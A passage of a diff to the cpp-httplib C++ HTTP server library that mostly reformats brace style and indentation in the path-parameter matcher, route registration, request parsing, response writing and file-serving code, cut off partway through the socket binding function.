sep_pos = request.path.length(); } - - const auto ¶m_name = param_names_[i]; - - request.path_params.emplace( - param_name, request.path.substr(starting_pos, sep_pos - starting_pos)); - - // Mark everythin up to '/' as matched - starting_pos = sep_pos + 1; - } - // Returns false if the path is longer than the pattern - return starting_pos >= request.path.length(); +inline const std::string &BufferStream::get_buffer() const +{ + return buffer; } -inline bool RegexMatcher::match(Request &request) const { - request.path_params.clear(); - return std::regex_match(request.path, request.matches, regex_); +inline PathParamsMatcher::PathParamsMatcher(const std::string &pattern) +{ + // One past the last ending position of a path param substring + std::size_t last_param_end = 0; + +#ifndef CPPHTTPLIB_NO_EXCEPTIONS + // Needed to ensure that parameter names are unique during matcher + // construction + // If exceptions are disabled, only last duplicate path + // parameter will be set + std::unordered_set param_name_set; +#endif + + while (true) { + const auto marker_pos = pattern.find(marker, last_param_end); + if (marker_pos == std::string::npos) { + break; + } + + static_fragments_.push_back( + pattern.substr(last_param_end, marker_pos - last_param_end)); + + const auto param_name_start = marker_pos + 1; + + auto sep_pos = pattern.find(separator, param_name_start); + if (sep_pos == std::string::npos) { + sep_pos = pattern.length(); + } + + auto param_name = + pattern.substr(param_name_start, sep_pos - param_name_start); + +#ifndef CPPHTTPLIB_NO_EXCEPTIONS + if (param_name_set.find(param_name) != param_name_set.cend()) { + std::string msg = "Encountered path parameter '" + param_name + + "' multiple times in route pattern '" + pattern + "'."; + throw std::invalid_argument(msg); + } +#endif + + param_names_.push_back(std::move(param_name)); + + last_param_end = sep_pos + 1; + } + + if (last_param_end < pattern.length()) { + static_fragments_.push_back(pattern.substr(last_param_end)); + } +} + +inline bool PathParamsMatcher::match(Request &request) const +{ + request.matches = std::smatch(); + request.path_params.clear(); + request.path_params.reserve(param_names_.size()); + + // One past the position at which the path matched the pattern last time + std::size_t starting_pos = 0; + for (size_t i = 0; i < static_fragments_.size(); ++i) { + const auto &fragment = static_fragments_[i]; + + if (starting_pos + fragment.length() > request.path.length()) { + return false; + } + + // Avoid unnecessary allocation by using strncmp instead of substr + + // comparison + if (std::strncmp(request.path.c_str() + starting_pos, fragment.c_str(), + fragment.length()) != 0) { + return false; + } + + starting_pos += fragment.length(); + + // Should only happen when we have a static fragment after a param + // Example: '/users/:id/subscriptions' + // The 'subscriptions' fragment here does not have a corresponding param + if (i >= param_names_.size()) { + continue; + } + + auto sep_pos = request.path.find(separator, starting_pos); + if (sep_pos == std::string::npos) { + sep_pos = request.path.length(); + } + + const auto ¶m_name = param_names_[i]; + + request.path_params.emplace( + param_name, request.path.substr(starting_pos, sep_pos - starting_pos)); + + // Mark everythin up to '/' as matched + starting_pos = sep_pos + 1; + } + // Returns false if the path is longer than the pattern + return starting_pos >= request.path.length(); +} + +inline bool RegexMatcher::match(Request &request) const +{ + request.path_params.clear(); + return std::regex_match(request.path, request.matches, regex_); } } // namespace detail @@ -5611,1097 +6368,1233 @@ inline bool RegexMatcher::match(Request &request) const { // HTTP server implementation inline Server::Server() : new_task_queue( - [] { return new ThreadPool(CPPHTTPLIB_THREAD_POOL_COUNT); }) { + [] +{ + return new ThreadPool(CPPHTTPLIB_THREAD_POOL_COUNT); +}) +{ #ifndef _WIN32 - signal(SIGPIPE, SIG_IGN); + signal(SIGPIPE, SIG_IGN); #endif } inline Server::~Server() = default; inline std::unique_ptr -Server::make_matcher(const std::string &pattern) { - if (pattern.find("/:") != std::string::npos) { - return detail::make_unique(pattern); - } else { - return detail::make_unique(pattern); - } +Server::make_matcher(const std::string &pattern) +{ + if (pattern.find("/:") != std::string::npos) { + return detail::make_unique(pattern); + } else { + return detail::make_unique(pattern); + } } -inline Server &Server::Get(const std::string &pattern, Handler handler) { - get_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Get(const std::string &pattern, Handler handler) +{ + get_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } -inline Server &Server::Post(const std::string &pattern, Handler handler) { - post_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Post(const std::string &pattern, Handler handler) +{ + post_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Post(const std::string &pattern, - HandlerWithContentReader handler) { - post_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + post_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Put(const std::string &pattern, Handler handler) { - put_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Put(const std::string &pattern, Handler handler) +{ + put_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Put(const std::string &pattern, - HandlerWithContentReader handler) { - put_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + put_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Patch(const std::string &pattern, Handler handler) { - patch_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Patch(const std::string &pattern, Handler handler) +{ + patch_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Patch(const std::string &pattern, - HandlerWithContentReader handler) { - patch_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + patch_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Delete(const std::string &pattern, Handler handler) { - delete_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Delete(const std::string &pattern, Handler handler) +{ + delete_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline Server &Server::Delete(const std::string &pattern, - HandlerWithContentReader handler) { - delete_handlers_for_content_reader_.emplace_back(make_matcher(pattern), - std::move(handler)); - return *this; + HandlerWithContentReader handler) +{ + delete_handlers_for_content_reader_.emplace_back(make_matcher(pattern), + std::move(handler)); + return *this; } -inline Server &Server::Options(const std::string &pattern, Handler handler) { - options_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); - return *this; +inline Server &Server::Options(const std::string &pattern, Handler handler) +{ + options_handlers_.emplace_back(make_matcher(pattern), std::move(handler)); + return *this; } inline bool Server::set_base_dir(const std::string &dir, - const std::string &mount_point) { - return set_mount_point(mount_point, dir); + const std::string &mount_point) +{ + return set_mount_point(mount_point, dir); } inline bool Server::set_mount_point(const std::string &mount_point, - const std::string &dir, Headers headers) { - if (detail::is_dir(dir)) { - std::string mnt = !mount_point.empty() ? mount_point : "/"; - if (!mnt.empty() && mnt[0] == '/') { - base_dirs_.push_back({mnt, dir, std::move(headers)}); - return true; + const std::string &dir, Headers headers) +{ + if (detail::is_dir(dir)) { + std::string mnt = !mount_point.empty() ? mount_point : "/"; + if (!mnt.empty() && mnt[0] == '/') { + base_dirs_.push_back({mnt, dir, std::move(headers)}); + return true; + } } - } - return false; + return false; } -inline bool Server::remove_mount_point(const std::string &mount_point) { - for (auto it = base_dirs_.begin(); it != base_dirs_.end(); ++it) { - if (it->mount_point == mount_point) { - base_dirs_.erase(it); - return true; +inline bool Server::remove_mount_point(const std::string &mount_point) +{ + for (auto it = base_dirs_.begin(); it != base_dirs_.end(); ++it) { + if (it->mount_point == mount_point) { + base_dirs_.erase(it); + return true; + } } - } - return false; + return false; } inline Server & Server::set_file_extension_and_mimetype_mapping(const std::string &ext, - const std::string &mime) { - file_extension_and_mimetype_map_[ext] = mime; - return *this; + const std::string &mime) +{ + file_extension_and_mimetype_map_[ext] = mime; + return *this; } -inline Server &Server::set_default_file_mimetype(const std::string &mime) { - default_file_mimetype_ = mime; - return *this; +inline Server &Server::set_default_file_mimetype(const std::string &mime) +{ + default_file_mimetype_ = mime; + return *this; } -inline Server &Server::set_file_request_handler(Handler handler) { - file_request_handler_ = std::move(handler); - return *this; +inline Server &Server::set_file_request_handler(Handler handler) +{ + file_request_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_error_handler(HandlerWithResponse handler) { - error_handler_ = std::move(handler); - return *this; +inline Server &Server::set_error_handler(HandlerWithResponse handler) +{ + error_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_error_handler(Handler handler) { - error_handler_ = [handler](const Request &req, Response &res) { - handler(req, res); - return HandlerResponse::Handled; - }; - return *this; +inline Server &Server::set_error_handler(Handler handler) +{ + error_handler_ = [handler](const Request &req, Response &res) { + handler(req, res); + return HandlerResponse::Handled; + }; + return *this; } -inline Server &Server::set_exception_handler(ExceptionHandler handler) { - exception_handler_ = std::move(handler); - return *this; +inline Server &Server::set_exception_handler(ExceptionHandler handler) +{ + exception_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_pre_routing_handler(HandlerWithResponse handler) { - pre_routing_handler_ = std::move(handler); - return *this; +inline Server &Server::set_pre_routing_handler(HandlerWithResponse handler) +{ + pre_routing_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_post_routing_handler(Handler handler) { - post_routing_handler_ = std::move(handler); - return *this; +inline Server &Server::set_post_routing_handler(Handler handler) +{ + post_routing_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_logger(Logger logger) { - logger_ = std::move(logger); - return *this; +inline Server &Server::set_logger(Logger logger) +{ + logger_ = std::move(logger); + return *this; } inline Server & -Server::set_expect_100_continue_handler(Expect100ContinueHandler handler) { - expect_100_continue_handler_ = std::move(handler); - return *this; +Server::set_expect_100_continue_handler(Expect100ContinueHandler handler) +{ + expect_100_continue_handler_ = std::move(handler); + return *this; } -inline Server &Server::set_address_family(int family) { - address_family_ = family; - return *this; +inline Server &Server::set_address_family(int family) +{ + address_family_ = family; + return *this; } -inline Server &Server::set_tcp_nodelay(bool on) { - tcp_nodelay_ = on; - return *this; +inline Server &Server::set_tcp_nodelay(bool on) +{ + tcp_nodelay_ = on; + return *this; } -inline Server &Server::set_socket_options(SocketOptions socket_options) { - socket_options_ = std::move(socket_options); - return *this; +inline Server &Server::set_socket_options(SocketOptions socket_options) +{ + socket_options_ = std::move(socket_options); + return *this; } -inline Server &Server::set_default_headers(Headers headers) { - default_headers_ = std::move(headers); - return *this; +inline Server &Server::set_default_headers(Headers headers) +{ + default_headers_ = std::move(headers); + return *this; } inline Server &Server::set_header_writer( - std::function const &writer) { - header_writer_ = writer; - return *this; + std::function const &writer) +{ + header_writer_ = writer; + return *this; } -inline Server &Server::set_keep_alive_max_count(size_t count) { - keep_alive_max_count_ = count; - return *this; +inline Server &Server::set_keep_alive_max_count(size_t count) +{ + keep_alive_max_count_ = count; + return *this; } -inline Server &Server::set_keep_alive_timeout(time_t sec) { - keep_alive_timeout_sec_ = sec; - return *this; +inline Server &Server::set_keep_alive_timeout(time_t sec) +{ + keep_alive_timeout_sec_ = sec; + return *this; } -inline Server &Server::set_read_timeout(time_t sec, time_t usec) { - read_timeout_sec_ = sec; - read_timeout_usec_ = usec; - return *this; +inline Server &Server::set_read_timeout(time_t sec, time_t usec) +{ + read_timeout_sec_ = sec; + read_timeout_usec_ = usec; + return *this; } -inline Server &Server::set_write_timeout(time_t sec, time_t usec) { - write_timeout_sec_ = sec; - write_timeout_usec_ = usec; - return *this; +inline Server &Server::set_write_timeout(time_t sec, time_t usec) +{ + write_timeout_sec_ = sec; + write_timeout_usec_ = usec; + return *this; } -inline Server &Server::set_idle_interval(time_t sec, time_t usec) { - idle_interval_sec_ = sec; - idle_interval_usec_ = usec; - return *this; +inline Server &Server::set_idle_interval(time_t sec, time_t usec) +{ + idle_interval_sec_ = sec; + idle_interval_usec_ = usec; + return *this; } -inline Server &Server::set_payload_max_length(size_t length) { - payload_max_length_ = length; - return *this; +inline Server &Server::set_payload_max_length(size_t length) +{ + payload_max_length_ = length; + return *this; } inline bool Server::bind_to_port(const std::string &host, int port, - int socket_flags) { - return bind_internal(host, port, socket_flags) >= 0; + int socket_flags) +{ + return bind_internal(host, port, socket_flags) >= 0; } -inline int Server::bind_to_any_port(const std::string &host, int socket_flags) { - return bind_internal(host, 0, socket_flags); +inline int Server::bind_to_any_port(const std::string &host, int socket_flags) +{ + return bind_internal(host, 0, socket_flags); } -inline bool Server::listen_after_bind() { - auto se = detail::scope_exit([&]() { done_ = true; }); - return listen_internal(); +inline bool Server::listen_after_bind() +{ + auto se = detail::scope_exit([&]() { + done_ = true; + }); + return listen_internal(); } inline bool Server::listen(const std::string &host, int port, - int socket_flags) { - auto se = detail::scope_exit([&]() { done_ = true; }); - return bind_to_port(host, port, socket_flags) && listen_internal(); -} - -inline bool Server::is_running() const { return is_running_; } - -inline void Server::wait_until_ready() const { - while (!is_running() && !done_) { - std::this_thread::sleep_for(std::chrono::milliseconds{1}); - } -} - -inline void Server::stop() { - if (is_running_) { - assert(svr_sock_ != INVALID_SOCKET); - std::atomic sock(svr_sock_.exchange(INVALID_SOCKET)); - detail::shutdown_socket(sock); - detail::close_socket(sock); - } -} - -inline bool Server::parse_request_line(const char *s, Request &req) const { - auto len = strlen(s); - if (len < 2 || s[len - 2] != '\r' || s[len - 1] != '\n') { return false; } - len -= 2; - - { - size_t count = 0; - - detail::split(s, s + len, ' ', [&](const char *b, const char *e) { - switch (count) { - case 0: req.method = std::string(b, e); break; - case 1: req.target = std::string(b, e); break; - case 2: req.version = std::string(b, e); break; - default: break; - } - count++; + int socket_flags) +{ + auto se = detail::scope_exit([&]() { + done_ = true; }); + return bind_to_port(host, port, socket_flags) && listen_internal(); +} - if (count != 3) { return false; } - } +inline bool Server::is_running() const +{ + return is_running_; +} - static const std::set methods{ - "GET", "HEAD", "POST", "PUT", "DELETE", - "CONNECT", "OPTIONS", "TRACE", "PATCH", "PRI"}; +inline void Server::wait_until_ready() const +{ + while (!is_running() && !done_) { + std::this_thread::sleep_for(std::chrono::milliseconds{1}); + } +} - if (methods.find(req.method) == methods.end()) { return false; } +inline void Server::stop() +{ + if (is_running_) { + assert(svr_sock_ != INVALID_SOCKET); + std::atomic sock(svr_sock_.exchange(INVALID_SOCKET)); + detail::shutdown_socket(sock); + detail::close_socket(sock); + } +} - if (req.version != "HTTP/1.1" && req.version != "HTTP/1.0") { return false; } +inline bool Server::parse_request_line(const char *s, Request &req) const +{ + auto len = strlen(s); + if (len < 2 || s[len - 2] != '\r' || s[len - 1] != '\n') { + return false; + } + len -= 2; - { - // Skip URL fragment - for (size_t i = 0; i < req.target.size(); i++) { - if (req.target[i] == '#') { - req.target.erase(i); - break; - } + { + size_t count = 0; + + detail::split(s, s + len, ' ', [&](const char *b, const char *e) { + switch (count) { + case 0: + req.method = std::string(b, e); + break; + case 1: + req.target = std::string(b, e); + break; + case 2: + req.version = std::string(b, e); + break; + default: + break; + } + count++; + }); + + if (count != 3) { + return false; + } } - size_t count = 0; + static const std::set methods{ + "GET", "HEAD", "POST", "PUT", "DELETE", + "CONNECT", "OPTIONS", "TRACE", "PATCH", "PRI"}; - detail::split(req.target.data(), req.target.data() + req.target.size(), '?', - 2, [&](const char *b, const char *e) { - switch (count) { - case 0: - req.path = detail::decode_url(std::string(b, e), false); - break; - case 1: { - if (e - b > 0) { - detail::parse_query_text(std::string(b, e), req.params); - } - break; - } - default: break; - } - count++; - }); + if (methods.find(req.method) == methods.end()) { + return false; + } - if (count > 2) { return false; } - } + if (req.version != "HTTP/1.1" && req.version != "HTTP/1.0") { + return false; + } - return true; + { + // Skip URL fragment + for (size_t i = 0; i < req.target.size(); i++) { + if (req.target[i] == '#') { + req.target.erase(i); + break; + } + } + + size_t count = 0; + + detail::split(req.target.data(), req.target.data() + req.target.size(), '?', + 2, [&](const char *b, const char *e) { + switch (count) { + case 0: + req.path = detail::decode_url(std::string(b, e), false); + break; + case 1: { + if (e - b > 0) { + detail::parse_query_text(std::string(b, e), req.params); + } + break; + } + default: + break; + } + count++; + }); + + if (count > 2) { + return false; + } + } + + return true; } inline bool Server::write_response(Stream &strm, bool close_connection, - const Request &req, Response &res) { - return write_response_core(strm, close_connection, req, res, false); + const Request &req, Response &res) +{ + return write_response_core(strm, close_connection, req, res, false); } inline bool Server::write_response_with_content(Stream &strm, - bool close_connection, - const Request &req, - Response &res) { - return write_response_core(strm, close_connection, req, res, true); + bool close_connection, + const Request &req, + Response &res) +{ + return write_response_core(strm, close_connection, req, res, true); } inline bool Server::write_response_core(Stream &strm, bool close_connection, const Request &req, Response &res, - bool need_apply_ranges) { - assert(res.status != -1); + bool need_apply_ranges) +{ + assert(res.status != -1); - if (400 <= res.status && error_handler_ && - error_handler_(req, res) == HandlerResponse::Handled) { - need_apply_ranges = true; - } - - std::string content_type; - std::string boundary; - if (need_apply_ranges) { apply_ranges(req, res, content_type, boundary); } - - // Prepare additional headers - if (close_connection || req.get_header_value("Connection") == "close") { - res.set_header("Connection", "close"); - } else { - std::stringstream ss; - ss << "timeout=" << keep_alive_timeout_sec_ - << ", max=" << keep_alive_max_count_; - res.set_header("Keep-Alive", ss.str()); - } - - if (!res.has_header("Content-Type") && - (!res.body.empty() || res.content_length_ > 0 || res.content_provider_)) { - res.set_header("Content-Type", "text/plain"); - } - - if (!res.has_header("Content-Length") && res.body.empty() && - !res.content_length_ && !res.content_provider_) { - res.set_header("Content-Length", "0"); - } - - if (!res.has_header("Accept-Ranges") && req.method == "HEAD") { - res.set_header("Accept-Ranges", "bytes"); - } - - if (post_routing_handler_) { post_routing_handler_(req, res); } - - // Response line and headers - { - detail::BufferStream bstrm; - - if (!bstrm.write_format("HTTP/1.1 %d %s\r\n", res.status, - status_message(res.status))) { - return false; + if (400 <= res.status && error_handler_ && + error_handler_(req, res) == HandlerResponse::Handled) { + need_apply_ranges = true; } - if (!header_writer_(bstrm, res.headers)) { return false; } - - // Flush buffer - auto &data = bstrm.get_buffer(); - detail::write_data(strm, data.data(), data.size()); - } - - // Body - auto ret = true; - if (req.method != "HEAD") { - if (!res.body.empty()) { - if (!detail::write_data(strm, res.body.data(), res.body.size())) { - ret = false; - } - } else if (res.content_provider_) { - if (write_content_with_provider(strm, req, res, boundary, content_type)) { - res.content_provider_success_ = true; - } else { - res.content_provider_success_ = false; - ret = false; - } + std::string content_type; + std::string boundary; + if (need_apply_ranges) { + apply_ranges(req, res, content_type, boundary); } - } - // Log - if (logger_) { logger_(req, res); } + // Prepare additional headers + if (close_connection || req.get_header_value("Connection") == "close") { + res.set_header("Connection", "close"); + } else { + std::stringstream ss; + ss << "timeout=" << keep_alive_timeout_sec_ + << ", max=" << keep_alive_max_count_; + res.set_header("Keep-Alive", ss.str()); + } - return ret; + if (!res.has_header("Content-Type") && + (!res.body.empty() || res.content_length_ > 0 || res.content_provider_)) { + res.set_header("Content-Type", "text/plain"); + } + + if (!res.has_header("Content-Length") && res.body.empty() && + !res.content_length_ && !res.content_provider_) { + res.set_header("Content-Length", "0"); + } + + if (!res.has_header("Accept-Ranges") && req.method == "HEAD") { + res.set_header("Accept-Ranges", "bytes"); + } + + if (post_routing_handler_) { + post_routing_handler_(req, res); + } + + // Response line and headers + { + detail::BufferStream bstrm; + + if (!bstrm.write_format("HTTP/1.1 %d %s\r\n", res.status, + status_message(res.status))) { + return false; + } + + if (!header_writer_(bstrm, res.headers)) { + return false; + } + + // Flush buffer + auto &data = bstrm.get_buffer(); + detail::write_data(strm, data.data(), data.size()); + } + + // Body + auto ret = true; + if (req.method != "HEAD") { + if (!res.body.empty()) { + if (!detail::write_data(strm, res.body.data(), res.body.size())) { + ret = false; + } + } else if (res.content_provider_) { + if (write_content_with_provider(strm, req, res, boundary, content_type)) { + res.content_provider_success_ = true; + } else { + res.content_provider_success_ = false; + ret = false; + } + } + } + + // Log + if (logger_) { + logger_(req, res); + } + + return ret; } inline bool Server::write_content_with_provider(Stream &strm, const Request &req, Response &res, const std::string &boundary, - const std::string &content_type) { - auto is_shutting_down = [this]() { - return this->svr_sock_ == INVALID_SOCKET; - }; + const std::string &content_type) +{ + auto is_shutting_down = [this]() { + return this->svr_sock_ == INVALID_SOCKET; + }; - if (res.content_length_ > 0) { - if (req.ranges.empty()) { - return detail::write_content(strm, res.content_provider_, 0, - res.content_length_, is_shutting_down); - } else if (req.ranges.size() == 1) { - auto offsets = - detail::get_range_offset_and_length(req, res.content_length_, 0); - auto offset = offsets.first; - auto length = offsets.second; - return detail::write_content(strm, res.content_provider_, offset, length, - is_shutting_down); + if (res.content_length_ > 0) { + if (req.ranges.empty()) { + return detail::write_content(strm, res.content_provider_, 0, + res.content_length_, is_shutting_down); + } else if (req.ranges.size() == 1) { + auto offsets = + detail::get_range_offset_and_length(req, res.content_length_, 0); + auto offset = offsets.first; + auto length = offsets.second; + return detail::write_content(strm, res.content_provider_, offset, length, + is_shutting_down); + } else { + return detail::write_multipart_ranges_data( + strm, req, res, boundary, content_type, is_shutting_down); + } } else { - return detail::write_multipart_ranges_data( - strm, req, res, boundary, content_type, is_shutting_down); - } - } else { - if (res.is_chunked_content_provider_) { - auto type = detail::encoding_type(req, res); + if (res.is_chunked_content_provider_) { + auto type = detail::encoding_type(req, res); - std::unique_ptr compressor; - if (type == detail::EncodingType::Gzip) { + std::unique_ptr compressor; + if (type == detail::EncodingType::Gzip) { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - compressor = detail::make_unique(); + compressor = detail::make_unique(); #endif - } else if (type == detail::EncodingType::Brotli) { + } else if (type == detail::EncodingType::Brotli) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - compressor = detail::make_unique(); + compressor = detail::make_unique(); #endif - } else { - compressor = detail::make_unique(); - } - assert(compressor != nullptr); + } else { + compressor = detail::make_unique(); + } + assert(compressor != nullptr); - return detail::write_content_chunked(strm, res.content_provider_, - is_shutting_down, *compressor); - } else { - return detail::write_content_without_length(strm, res.content_provider_, - is_shutting_down); + return detail::write_content_chunked(strm, res.content_provider_, + is_shutting_down, *compressor); + } else { + return detail::write_content_without_length(strm, res.content_provider_, + is_shutting_down); + } } - } } -inline bool Server::read_content(Stream &strm, Request &req, Response &res) { - MultipartFormDataMap::iterator cur; - auto file_count = 0; - if (read_content_core( - strm, req, res, - // Regular - [&](const char *buf, size_t n) { - if (req.body.size() + n > req.body.max_size()) { return false; } - req.body.append(buf, n); - return true; - }, - // Multipart - [&](const MultipartFormData &file) { - if (file_count++ == CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT) { - return false; +inline bool Server::read_content(Stream &strm, Request &req, Response &res) +{ + MultipartFormDataMap::iterator cur; + auto file_count = 0; + if (read_content_core( + strm, req, res, + // Regular + [&](const char *buf, size_t n) { + if (req.body.size() + n > req.body.max_size()) { + return false; + } + req.body.append(buf, n); + return true; + }, + // Multipart + [&](const MultipartFormData &file) { + if (file_count++ == CPPHTTPLIB_MULTIPART_FORM_DATA_FILE_MAX_COUNT) { + return false; + } + cur = req.files.emplace(file.name, file); + return true; + }, + [&](const char *buf, size_t n) { + auto &content = cur->second.content; + if (content.size() + n > content.max_size()) { + return false; + } + content.append(buf, n); + return true; + })) { + const auto &content_type = req.get_header_value("Content-Type"); + if (!content_type.find("application/x-www-form-urlencoded")) { + if (req.body.size() > CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH) { + res.status = StatusCode::PayloadTooLarge_413; // NOTE: should be 414? + return false; } - cur = req.files.emplace(file.name, file); - return true; - }, - [&](const char *buf, size_t n) { - auto &content = cur->second.content; - if (content.size() + n > content.max_size()) { return false; } - content.append(buf, n); - return true; - })) { - const auto &content_type = req.get_header_value("Content-Type"); - if (!content_type.find("application/x-www-form-urlencoded")) { - if (req.body.size() > CPPHTTPLIB_FORM_URL_ENCODED_PAYLOAD_MAX_LENGTH) { - res.status = StatusCode::PayloadTooLarge_413; // NOTE: should be 414? - return false; - } - detail::parse_query_text(req.body, req.params); + detail::parse_query_text(req.body, req.params); + } + return true; } - return true; - } - return false; + return false; } inline bool Server::read_content_with_content_receiver( Stream &strm, Request &req, Response &res, ContentReceiver receiver, MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) { - return read_content_core(strm, req, res, std::move(receiver), - std::move(multipart_header), - std::move(multipart_receiver)); + ContentReceiver multipart_receiver) +{ + return read_content_core(strm, req, res, std::move(receiver), + std::move(multipart_header), + std::move(multipart_receiver)); } inline bool Server::read_content_core(Stream &strm, Request &req, Response &res, ContentReceiver receiver, MultipartContentHeader multipart_header, - ContentReceiver multipart_receiver) const { - detail::MultipartFormDataParser multipart_form_data_parser; - ContentReceiverWithProgress out; + ContentReceiver multipart_receiver) const +{ + detail::MultipartFormDataParser multipart_form_data_parser; + ContentReceiverWithProgress out; - if (req.is_multipart_form_data()) { - const auto &content_type = req.get_header_value("Content-Type"); - std::string boundary; - if (!detail::parse_multipart_boundary(content_type, boundary)) { - res.status = StatusCode::BadRequest_400; - return false; + if (req.is_multipart_form_data()) { + const auto &content_type = req.get_header_value("Content-Type"); + std::string boundary; + if (!detail::parse_multipart_boundary(content_type, boundary)) { + res.status = StatusCode::BadRequest_400; + return false; + } + + multipart_form_data_parser.set_boundary(std::move(boundary)); + out = [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { + /* For debug + size_t pos = 0; + while (pos < n) { + auto read_size = (std::min)(1, n - pos); + auto ret = multipart_form_data_parser.parse( + buf + pos, read_size, multipart_receiver, multipart_header); + if (!ret) { return false; } + pos += read_size; + } + return true; + */ + return multipart_form_data_parser.parse(buf, n, multipart_receiver, + multipart_header); + }; + } else { + out = [receiver](const char *buf, size_t n, uint64_t /*off*/, + uint64_t /*len*/) { + return receiver(buf, n); + }; } - multipart_form_data_parser.set_boundary(std::move(boundary)); - out = [&](const char *buf, size_t n, uint64_t /*off*/, uint64_t /*len*/) { - /* For debug - size_t pos = 0; - while (pos < n) { - auto read_size = (std::min)(1, n - pos); - auto ret = multipart_form_data_parser.parse( - buf + pos, read_size, multipart_receiver, multipart_header); - if (!ret) { return false; } - pos += read_size; - } - return true; - */ - return multipart_form_data_parser.parse(buf, n, multipart_receiver, - multipart_header); - }; - } else { - out = [receiver](const char *buf, size_t n, uint64_t /*off*/, - uint64_t /*len*/) { return receiver(buf, n); }; - } + if (req.method == "DELETE" && !req.has_header("Content-Length")) { + return true; + } + + if (!detail::read_content(strm, req, payload_max_length_, res.status, nullptr, + out, true)) { + return false; + } + + if (req.is_multipart_form_data()) { + if (!multipart_form_data_parser.is_valid()) { + res.status = StatusCode::BadRequest_400; + return false; + } + } - if (req.method == "DELETE" && !req.has_header("Content-Length")) { return true; - } - - if (!detail::read_content(strm, req, payload_max_length_, res.status, nullptr, - out, true)) { - return false; - } - - if (req.is_multipart_form_data()) { - if (!multipart_form_data_parser.is_valid()) { - res.status = StatusCode::BadRequest_400; - return false; - } - } - - return true; } inline bool Server::handle_file_request(const Request &req, Response &res, - bool head) { - for (const auto &entry : base_dirs_) { - // Prefix match - if (!req.path.compare(0, entry.mount_point.size(), entry.mount_point)) { - std::string sub_path = "/" + req.path.substr(entry.mount_point.size()); - if (detail::is_valid_path(sub_path)) { - auto path = entry.base_dir + sub_path; - if (path.back() == '/') { path += "index.html"; } + bool head) +{ + for (const auto &entry : base_dirs_) { + // Prefix match + if (!req.path.compare(0, entry.mount_point.size(), entry.mount_point)) { + std::string sub_path = "/" + req.path.substr(entry.mount_point.size()); + if (detail::is_valid_path(sub_path)) { + auto path = entry.base_dir + sub_path; + if (path.back() == '/') { + path += "index.html"; + } - if (detail::is_file(path)) { - for (const auto &kv : entry.headers) { - res.set_header(kv.first, kv.second); - } + if (detail::is_file(path)) { + for (const auto &kv : entry.headers) { + res.set_header(kv.first, kv.second); + } - auto mm = std::make_shared(path.c_str()); - if (!mm->is_open()) { return false; } + auto mm = std::make_shared(path.c_str()); + if (!mm->is_open()) { + return false; + } - res.set_content_provider( - mm->size(), - detail::find_content_type(path, file_extension_and_mimetype_map_, - default_file_mimetype_), - [mm](size_t offset, size_t length, DataSink &sink) -> bool { - sink.write(mm->data() + offset, length); - return true; - }); + res.set_content_provider( + mm->size(), + detail::find_content_type(path, file_extension_and_mimetype_map_, + default_file_mimetype_), + [mm](size_t offset, size_t length, DataSink &sink) -> bool { + sink.write(mm->data() + offset, length); + return true; + }); - if (!head && file_request_handler_) { - file_request_handler_(req, res); - } + if (!head && file_request_handler_) { + file_request_handler_(req, res); + } - return true; + return true; + } + } } - } } - } - return false; + return false; } inline socket_t Server::create_server_socket(const std::string &host, int port, int socket_flags, - SocketOptions socket_options) const { - return detail::create_socket( - host, std::string(), port, address_family_, socket_flags, tcp_nodelay_, - std::move(socket_options), - [](socket_t sock, struct addrinfo &ai) -> bool { - if (::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { - return false; + SocketOptions socket_options) const +{ + return detail::create_socket( + host, std::string(), port, address_family_, socket_flags, tcp_nodelay_, + std::move(socket_options), + [](socket_t sock, struct addrinfo &ai) -> bool { + if (::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) + { + return false; + } + if (::listen(sock, CPPHTTPLIB_LISTEN_BACKLOG)) + { + return false; } - if (::listen(sock, CPPHTTPLIB_LISTEN_BACKLOG)) { return false; } return true; - }); + }); } inline int Server::bind_internal(const std::string &host, int port, - int socket_flags) { - if (!is_valid()) { return -1; } - - svr_sock_ = create_server_socket(host, port, socket_flags, socket_options_); - if (svr_sock_ == INVALID_SOCKET) { return -1; } - - if (port == 0) { - struct sockaddr_storage addr; - socklen_t addr_len = sizeof(addr); - if (getsockname(svr_sock_, reinterpret_cast(&addr), - &addr_len) == -1) { - return -1; + int socket_flags) +{ + if (!is_valid()) { + return -1; } - if (addr.ss_family == AF_INET) { - return ntohs(reinterpret_cast(&addr)->sin_port); - } else if (addr.ss_family == AF_INET6) { - return 